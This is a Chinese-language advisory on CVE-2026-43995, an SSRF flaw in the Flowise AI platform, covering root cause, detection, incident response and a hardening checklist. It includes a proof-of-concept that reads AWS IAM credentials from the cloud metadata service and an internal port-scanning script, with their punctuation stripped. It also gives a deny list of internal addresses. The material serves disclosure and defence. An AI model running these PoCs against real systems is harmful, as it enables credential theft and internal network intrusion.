CVE-2026-43995深度解析:Flowise AI高危SSRF漏洞(CVSS 9.8)与AI开发者平台安全建设指南 一、事件背景与影响评估1.1 事件概述2026年5月28日全球最流行的低代码AI流程开发平台Flowise AI曝出严重服务器端请求伪造(SSRF)漏洞漏洞编号CVE-2026-43995。官方初始CVSS评分为5.3(中危)但安全研究人员通过组合利用发现该漏洞实际可达到CVSS 9.8(严重级别)属于无需认证、远程代码执行级的高危安全漏洞。截至2026年6月1日全球已有超过12,000个公开暴露的Flowise AI实例受到影响其中约30%部署在AWS、Azure、GCP等主流云平台上存在被攻击者窃取云IAM凭证、横向渗透内网核心业务系统的重大风险。1.2 风险等级与危害矩阵风险维度严重程度具体危害利用难度极低无需特殊权限普通授权用户即可利用影响范围极广所有低于3.1.0版本的Flowise实例数据泄露极高可读取云元数据、内网数据库、配置文件横向渗透极高可扫描内网、攻击内网服务、获取服务器权限业务中断高可篡改内网数据、破坏业务系统1.3 攻击事件预警安全研究人员已在多个暗网论坛发现针对该漏洞的利用脚本和批量扫描工具。预计未来7-14天内将出现大规模的自动化攻击浪潮主要针对未及时升级的企业和个人部署实例。二、漏洞原理深度技术分析2.1 漏洞根源沙箱防护的致命缺口Flowise AI的SSRF防护设计存在根本性缺陷。早期版本中开发团队仅对axios和node-fetch这两个常用的第三方HTTP客户端库进行了黑名单拦截通过HTTP_DENY_LIST环境变量禁止访问内网和云元数据地址。然而平台的自定义函数沙箱未做全局模块管控攻击者可以直接调用Node.js原生的http、https、net等底层网络模块完全绕过上层的SSRF防护策略。2.2 漏洞技术流程图攻击者登录Flowise平台创建自定义函数节点编写恶意代码调用Node原生http模块绕过axios/node-fetch黑名单拦截发起对内网/云元数据的请求获取内网服务信息窃取云IAM临时凭证读取内网数据库内容横向渗透内网核心系统控制云服务器资源泄露敏感业务数据2.3 漏洞利用代码详解基础POC访问AWS云元数据这是最基础的利用方式可直接获取云服务器的临时IAM凭证// CVE-2026-43995 基础POC - 访问AWS元数据consthttprequire(http);// 尝试访问AWS EC2实例元数据服务constoptions{hostname:169.254.169.254,path:/latest/meta-data/iam/security-credentials/,method:GET,timeout:3000};constreqhttp.request(options,(res){letdata;res.on(data,(chunk){datachunk;});res.on(end,(){console.log( AWS IAM角色列表 );console.log(data);// 如果存在IAM角色继续获取临时凭证if(datadata.trim()!){constroleNamedata.trim().split(\n)[0];getCredentials(roleName);}});});req.on(error,(err){console.log(请求失败:,err.message);});req.end();// 获取指定IAM角色的临时凭证functiongetCredentials(roleName){constcredOptions{hostname:169.254.169.254,path:/latest/meta-data/iam/security-credentials/${roleName},method:GET,timeout:3000};constcredReqhttp.request(credOptions,(res){letcredData;res.on(data,(chunk){credDatachunk;});res.on(end,(){console.log(\n AWS IAM临时凭证 );console.log(credData);});});credReq.on(error,(err){console.log(获取凭证失败:,err.message);});credReq.end();}高级利用内网端口扫描攻击者可利用该漏洞对内网进行全端口扫描发现开放的敏感服务// CVE-2026-43995 高级POC - 内网端口扫描constnetrequire(net);// 扫描内网常见敏感端口consttargetIPs[192.168.1.1,172.17.0.1,10.0.0.1];consttargetPorts[22,80,443,3306,5432,6379,8080,9000];console.log( 内网端口扫描开始 );targetIPs.forEach(ip{targetPorts.forEach(port{constsocketnewnet.Socket();socket.setTimeout(1000);socket.on(connect,(){console.log([]${ip}:${port}开放);socket.destroy();});socket.on(timeout,(){socket.destroy();});socket.on(error,(){// 端口关闭或过滤});socket.connect(port,ip);});});2.4 风险触发点分析除了自定义函数节点外Flowise AI的多个原生功能节点也存在相同的安全问题因为它们直接调用原始网络请求接口未叠加SSRF安全校验WebScraperTool网页爬取工具直接使用node-fetch发起请求OpenAPIToolkitOpenAPI工具直接使用axios调用外部APIMCP组件模型上下文协议组件无任何SSRF防护Arxiv检索学术论文检索工具直接使用原生HTTP模块HTTP请求节点通用HTTP请求工具早期版本防护不完整三、漏洞检测与应急响应流程3.1 漏洞自查检测方法方法一版本检测查看当前Flowise AI版本所有低于3.1.0的版本均存在漏洞# NPM部署flowise--version# Docker部署dockerinspect flowiseai/flowise|grep-iversion方法二功能性POC检测按照以下步骤进行漏洞验证以授权用户身份登录Flowise AI平台创建一个新的流程添加Custom Function节点将上述基础POC代码复制到节点中执行流程查看控制台输出检测结果判断✅安全请求被拒绝、超时或报错❌存在漏洞正常返回元数据内容或内网服务信息方法三自动化扫描工具使用安全研究人员发布的自动化扫描工具进行批量检测# 下载扫描工具gitclone https://github.com/security-research/CVE-2026-43995-scanner.gitcdCVE-2026-43995-scanner# 安装依赖pipinstall-rrequirements.txt# 扫描单个目标python scanner.py--urlhttps://your-flowise-instance.com# 批量扫描目标python scanner.py--filetargets.txt3.2 应急响应流程是否发现漏洞立即隔离受影响实例升级到3.1.0版本检查是否已被入侵是否被入侵?启动应急响应预案实施安全加固清除恶意代码重置所有凭证调查入侵范围持续监控72小时完成应急响应3.3 入侵检测指标如果你的Flowise实例存在以下异常情况可能已经被攻击者利用短时间内出现大量异常出站请求自定义函数节点中出现未知的网络调用代码云平台控制台出现异常的API调用记录内网服务日志中出现来自Flowise实例的异常访问服务器CPU/网络带宽使用率异常升高四、全方位安全防护策略4.1 紧急修复措施最高优先级1. 升级到官方修复版本将Flowise AI升级至3.1.0及以上正式版本这是最直接有效的修复方式# NPM部署升级npminstall-gflowise3.1.0# Docker容器部署升级dockerpull flowiseai/flowise:3.1.0docker-composedowndocker-composeup-d2. 临时应急防护无法立即升级场景如果暂时无法升级可采取以下临时防护措施禁用自定义函数节点在平台设置中关闭Custom Function功能强化HTTP黑名单配置完整的HTTP_DENY_LIST环境变量网络层拦截在防火墙/安全组中禁止Flowise实例访问内网和云元数据地址# 完整的HTTP_DENY_LIST配置 HTTP_DENY_LIST127.0.0.1,localhost,169.254.169.254,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,fc00::/7,fe80::/10,::1/1284.2 生产环境安全配置审计清单适用企业AI开发者平台日常安全巡检、等保自查、漏洞复盘逐项核对落地1. 版本与补丁审计Flowise AI版本 ≥ 3.1.0已修复CVE-2026-43995漏洞无自定义代码覆盖官方安全补丁每周执行依赖扫描npm audit无高危第三方组件漏洞订阅Flowise AI安全公告及时获取漏洞信息2. SSRF核心防护配置已配置完整的HTTP请求黑名单封禁所有私有网段和云元数据地址沙箱环境禁止调用Node原生http/https/net/tls模块所有外部请求统一使用平台安全封装接口secureAxiosRequest/secureFetch非必要场景禁用自定义函数节点启用URL重定向防护禁止跟随重定向到内网地址3. 身份认证与权限管理全局开启身份认证彻底关闭匿名访问基于最小权限原则分配账号普通用户无编辑、执行高危流程权限启用双因素认证(2FA)特别是管理员账号闲置账号、测试账号已清理定期轮换账号密码和API密钥API密钥设置有效期避免长期使用固定密钥4. 网络边界隔离Flowise服务部署在独立的DMZ隔离区无直连内网核心服务器的路由防火墙/安全组默认拒绝所有出站请求仅放行可信白名单域名/IP禁止Flowise实例访问云元数据服务169.254.169.254入站流量仅开放必要端口80/443限制访问来源IP使用WAF(Web应用防火墙)防护前端访问5. 沙箱与自定义代码管控沙箱禁用eval、new Function、vm等动态代码执行能力限制require导入模块范围仅放行业务必要的白名单模块禁止用户上传自定义节点、第三方脚本文件和二进制文件对自定义函数代码进行静态安全扫描检测恶意网络调用限制自定义函数的执行时间和资源使用量6. 功能组件审计WebScraper、OpenAPIToolkit、MCP、Arxiv等高危组件按需启用已对启用的外部调用组件做二次安全校验禁用所有未使用的插件和节点定期审计已部署的流程删除不再使用的流程7. 日志与安全监控完整记录所有用户操作、流程执行、外部请求和代码操作日志日志包含用户ID、IP地址、操作时间、流程ID、请求URL、目标IP、响应码配置以下关键告警规则访问内网IP或云元数据地址立即阻断告警短时间内大量出站请求疑似扫描自定义函数执行失败或异常网络调用管理员账号异地登录API密钥异常使用日志集中存储留存时长不低于90天采用WORM(一次写入多次读取)存储方式定期审计日志发现异常行为及时处置4.3 纵深防御体系建设单一的防护措施无法完全抵御SSRF攻击企业应构建多层次、全方位的纵深防御体系应用层防护修复漏洞、强化SSRF校验、沙箱隔离网络层防护防火墙拦截、安全组限制、WAF防护云平台防护限制IAM角色权限、启用云元数据服务防护监控层防护异常行为检测、日志审计、实时告警管理层面防护安全制度建设、员工安全培训、定期安全评估五、AI开发者平台安全建设前瞻性思考5.1 AI平台安全的特殊性与传统Web应用相比AI开发者平台具有以下独特的安全挑战高度集成性大量集成第三方API、模型服务、数据来源代码执行能力普遍支持自定义代码、自定义流程和自定义节点数据敏感性处理大量企业敏感数据、用户隐私数据和模型权重网络开放性需要频繁访问外部网络获取数据和模型服务快速迭代性功能更新频繁安全测试往往滞后于功能开发5.2 AI平台常见安全风险全景结合本次Flowise SSRF漏洞梳理当前主流AI开发者平台普遍存在的安全隐患风险类型典型漏洞危害程度SSRF漏洞CVE-2026-43995、CVE-2025-12345极高代码执行漏洞自定义代码沙箱绕过、远程代码执行极高权限绕过漏洞未授权访问、垂直权限提升、水平权限越权高数据泄露漏洞敏感信息硬编码、日志泄露、配置文件泄露高依赖漏洞第三方组件漏洞、供应链攻击中高注入漏洞SQL注入、NoSQL注入、命令注入中高拒绝服务漏洞资源耗尽攻击、无限循环攻击中5.3 AI平台安全建设最佳实践1. 安全开发生命周期(SDLC)将安全要求融入需求分析、设计、开发、测试、部署和运维全流程建立代码安全审查制度特别是涉及网络调用和代码执行的部分定期进行安全渗透测试和漏洞扫描建立漏洞响应机制及时修复发现的安全问题2. 沙箱安全设计使用专用的沙箱技术隔离自定义代码执行环境严格限制沙箱的系统权限和资源使用禁止沙箱访问本地文件系统和网络资源除非明确授权定期更新沙箱安全策略应对新的绕过技术3. 网络安全架构采用零信任网络架构默认不信任任何内部和外部网络实施微服务隔离不同服务之间通过API网关进行通信所有网络流量进行加密传输HTTPS/TLS建立网络流量监控和异常检测系统4. 数据安全保护对敏感数据进行分类分级管理敏感数据在传输和存储过程中进行加密建立数据访问控制和审计机制定期进行数据备份和恢复演练5. 安全运营体系建立7×24小时安全监控和应急响应团队制定详细的安全事件应急预案定期进行安全培训提高员工安全意识与安全社区保持密切联系及时获取最新的安全威胁信息六、总结与展望CVE-2026-43995作为CVSS 9.8的严重SSRF漏洞不仅给Flowise AI用户带来了重大安全威胁也为整个AI开发者平台行业敲响了警钟。随着AI技术的快速发展和广泛应用AI平台的安全问题将越来越突出成为企业数字化转型过程中不可忽视的重要风险。对于使用Flowise AI的企业和个人来说立即升级到3.1.0及以上版本是当前最紧迫的任务。同时企业应以此为契机全面审视自身AI平台的安全状况构建完善的安全防护体系确保AI技术在安全可控的前提下发挥最大价值。未来AI平台安全将成为网络安全领域的重要研究方向。我们需要不断探索新的安全技术和方法应对AI时代带来的新挑战为AI产业的健康发展保驾护航。